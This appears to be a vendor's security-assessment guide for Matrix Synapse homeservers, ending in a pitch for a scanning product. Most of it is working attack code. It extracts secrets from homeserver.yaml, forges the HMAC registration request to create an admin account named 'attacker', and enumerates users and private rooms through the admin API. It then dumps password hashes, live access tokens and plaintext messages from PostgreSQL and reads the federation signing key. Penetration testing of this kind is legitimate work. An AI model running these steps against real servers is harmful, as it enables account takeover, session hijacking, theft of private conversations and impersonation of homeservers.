Matrix Synapse is the most widely deployed self-hosted Matrix homeserver — it powers federated messaging for organizations using Element and other Matrix clients. Key assessment areas: registration_shared_secret in homeserver.yaml enables creating admin accounts without any existing credentials; macaroon_secret_key signs access tokens enabling session forgery; PostgreSQL stores all room events including E2EE metadata; and the signing key file enables federation impersonation. This guide covers systematic Matrix Synapse security assessment.
# Matrix Synapse — registration_shared_secret admin account creation
SYNAPSE_URL="https://matrix.example.com"
# homeserver.yaml — Synapse configuration
cat /etc/matrix-synapse/homeserver.yaml 2>/dev/null | \
grep -E "registration_shared_secret|macaroon_secret_key|form_secret|signing_key|database" | head -10
# registration_shared_secret: "your-shared-secret" <-- create admin accounts
# macaroon_secret_key: "your-macaroon-secret" <-- sign access tokens
# form_secret: "your-form-secret" <-- email token generation
# Create admin account using registration_shared_secret (no existing auth needed)
REG_SECRET="extracted-registration-shared-secret"
ADMIN_USER="attacker"
ADMIN_PASS="Attack3r!"
ADMIN_DOMAIN="matrix.example.com"
# Generate HMAC-SHA1 registration MAC
MAC=$(python3 -c "
import hmac, hashlib
secret = '${REG_SECRET}'
nonce = 'some_nonce_value'
user = '${ADMIN_USER}'
password = '${ADMIN_PASS}'
admin = 'admin'
msg = '\x00'.join([nonce, user, password, admin])
mac = hmac.new(secret.encode(), msg.encode(), hashlib.sha1).hexdigest()
print(mac)
" 2>/dev/null)
# Register admin account
NONCE=$(curl -s "${SYNAPSE_URL}/_synapse/admin/v1/register" 2>/dev/null | \
python3 -c "import json,sys; print(json.load(sys.stdin).get('nonce',''))" 2>/dev/null)
curl -s -X POST "${SYNAPSE_URL}/_synapse/admin/v1/register" \
-H "Content-Type: application/json" \
-d "{
\"nonce\": \"${NONCE}\",
\"username\": \"${ADMIN_USER}\",
\"displayname\": \"Test Admin\",
\"password\": \"${ADMIN_PASS}\",
\"admin\": true,
\"mac\": \"${MAC}\"
}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User ID: {d.get(\"user_id\")}')
print(f'Access token: {d.get(\"access_token\")}')
print(f'Home server: {d.get(\"home_server\")}')
" 2>/dev/null
# Matrix Synapse admin API — user and room enumeration
SYNAPSE_URL="https://matrix.example.com"
ADMIN_TOKEN="syt_your_admin_access_token"
# List all users on the homeserver
curl -s "${SYNAPSE_URL}/_synapse/admin/v2/users?from=0&limit=100" \
-H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total users: {d.get(\"total\")}')
for u in d.get('users',[])[:10]:
print(f' {u.get(\"name\")} admin={u.get(\"admin\")} guest={u.get(\"is_guest\")}')
print(f' email={u.get(\"threepids\")}')
print(f' last_seen={u.get(\"last_seen_ts\")}')
" 2>/dev/null
# List all rooms on the homeserver (includes private rooms)
curl -s "${SYNAPSE_URL}/_synapse/admin/v1/rooms?limit=100" \
-H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total rooms: {d.get(\"total_rooms\")}')
for r in d.get('rooms',[])[:10]:
print(f' {r.get(\"room_id\")} name={r.get(\"name\")} members={r.get(\"joined_members\")}')
print(f' public={r.get(\"public\")} federated={r.get(\"federatable\")}')
" 2>/dev/null
# Get room members and state
ROOM_ID="!example:matrix.example.com"
curl -s "${SYNAPSE_URL}/_synapse/admin/v1/rooms/${ROOM_ID}/members" \
-H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Members: {d.get(\"total\")}')
for m in d.get('members',[]):
print(f' {m}')
" 2>/dev/null
# Check if /_synapse/admin/ is accessible without authentication
curl -s -o /dev/null -w "%{http_code}" \
"${SYNAPSE_URL}/_synapse/admin/v1/server_version" 2>/dev/null
# 200 = admin API open; 401 = auth required; 403 = not admin
# Matrix Synapse PostgreSQL database extraction
SYNAPSE_DB="synapse"
psql -h localhost -U synapse -d "$SYNAPSE_DB" 2>/dev/null << 'EOF'
-- All user accounts
SELECT u.name, -- @user:matrix.example.com
u.password_hash, -- bcrypt hash
u.admin,
u.is_guest,
u.creation_ts,
ua.address as email -- email address
FROM users u
LEFT JOIN user_threepids ua ON u.name = ua.user_id AND ua.medium = 'email'
ORDER BY u.admin DESC, u.creation_ts
LIMIT 20;
EOF
-- All active access tokens (session hijacking)
psql -h localhost -U synapse -d "$SYNAPSE_DB" 2>/dev/null << 'EOF'
SELECT t.token,
t.user_id,
t.device_id,
t.valid_until_ms,
t.used
FROM access_tokens t
WHERE (t.valid_until_ms IS NULL OR t.valid_until_ms > extract(epoch from now())*1000)
ORDER BY t.id DESC
LIMIT 20;
-- Active tokens can be used directly as Bearer tokens for API access
EOF
-- Room event metadata (E2EE message metadata is not encrypted)
psql -h localhost -U synapse -d "$SYNAPSE_DB" 2>/dev/null << 'EOF'
SELECT e.room_id,
e.type, -- m.room.message, m.room.member, etc.
e.sender,
e.content::text, -- JSON content (encrypted for E2EE rooms, plaintext for non-E2EE)
e.origin_server_ts
FROM events e
WHERE e.type = 'm.room.message'
ORDER BY e.origin_server_ts DESC
LIMIT 20;
-- Non-E2EE room content stored in plaintext in 'content' column
EOF
# Signing key — enables federation impersonation
cat /etc/matrix-synapse/homeserver.signing.key 2>/dev/null
# ed25519 key used to sign all federation requests from this homeserver
| Security Test | Method | Risk |
|---|---|---|
| registration_shared_secret admin account creation | GET /_synapse/admin/v1/register (nonce) + POST with HMAC-SHA1 MAC — create admin account without any existing credentials; full homeserver control | Critical |
| Admin API user and room enumeration | GET /_synapse/admin/v2/users — all users, emails, last seen; GET /_synapse/admin/v1/rooms — all rooms including private rooms with member counts | High |
| PostgreSQL access_tokens active session extraction | SELECT token FROM access_tokens — active session tokens usable directly as Bearer tokens; no expiry check needed for long-lived tokens | Critical |
| Non-E2EE room plaintext message extraction | SELECT content FROM events WHERE type='m.room.message' — all non-E2EE room messages stored in plaintext; complete conversation history | High |
| Signing key extraction and federation impersonation | Read homeserver.signing.key — ed25519 private key signs all federation requests; impersonate homeserver to external Matrix servers | High |
Ironimo tests Matrix Synapse deployments for registration_shared_secret extraction and admin account creation, admin API /_synapse/admin/ external accessibility, user and room enumeration with admin token, PostgreSQL access_tokens active session extraction, non-E2EE room plaintext message access, homeserver.signing.key private key exposure, macaroon_secret_key access token forgery, allow_guest_access unauthenticated room join, open registration without token requirement, and PostgreSQL users table bcrypt hash extraction.
Start free scan